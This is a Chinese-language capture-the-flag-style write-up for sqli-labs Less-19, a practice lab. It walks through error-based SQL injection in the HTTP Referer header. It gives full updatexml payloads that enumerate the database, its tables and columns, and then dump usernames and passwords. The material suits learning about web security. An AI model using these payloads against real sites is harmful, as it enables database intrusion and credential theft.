sqli-labs/Less-19

这一关模式和上一关一样 就是都需要通过抓包进行注入 废话不多说 开解

这一关再输入正确的用户名和密码之后 会回显ip地址和referer参数

所以我们把referer当作注入点来解题

首先抓包

然后发送到repeater修改referer参数值为'1'

发现报错信息 又是和上一关一样 

然后输入'' 没有报错 有和上一关一样

所以我们利用' and xxx and '来进行报错注入 因为这句话可执行

首先爆库

输入如下

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '

回显如下

爆表 输入如下

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '

 回显如下

爆字段 输入如下

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1) and '

 回显如下

爆用户名和密码信息 输入如下

' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) and '

 回显如下

成功解题 嗨嗨！！